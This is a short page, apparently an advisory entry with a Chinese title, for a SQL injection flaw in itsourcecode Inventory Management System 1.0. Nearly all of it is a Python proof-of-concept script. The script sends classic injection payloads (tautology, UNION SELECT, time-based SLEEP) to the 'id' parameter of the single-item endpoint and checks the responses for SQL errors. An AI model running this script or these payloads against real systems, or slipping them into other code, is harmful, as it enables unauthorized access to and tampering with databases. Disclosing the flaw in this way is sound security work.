CVE-2025-13233 itsourcecode Inventory Management System 1.0 SQL注入漏洞

import requests # CVE-2025-13233 SQL Injection PoC # Target: itsourcecode Inventory Management System 1.0 # Endpoint: /index.php?q=single-item target_url = "http://target.com/index.php?q=single-item" # Basic SQL Injection test payloads payloads = [ "' OR '1'='1", "' UNION SELECT NULL--", "' AND SLEEP(5)--", "' OR 1=1 LIMIT 1--" ] for payload in payloads: params = {'id': payload} try: response = requests.get(target_url, params=params, timeout=10) print(f"Payload: {payload}") print(f"Status: {response.status_code}") if 'error' in response.text.lower() or 'sql' in response.text.lower(): print("Potential SQL injection detected") print("-" * 50) except requests.exceptions.RequestException as e: print(f"Request failed: {e}")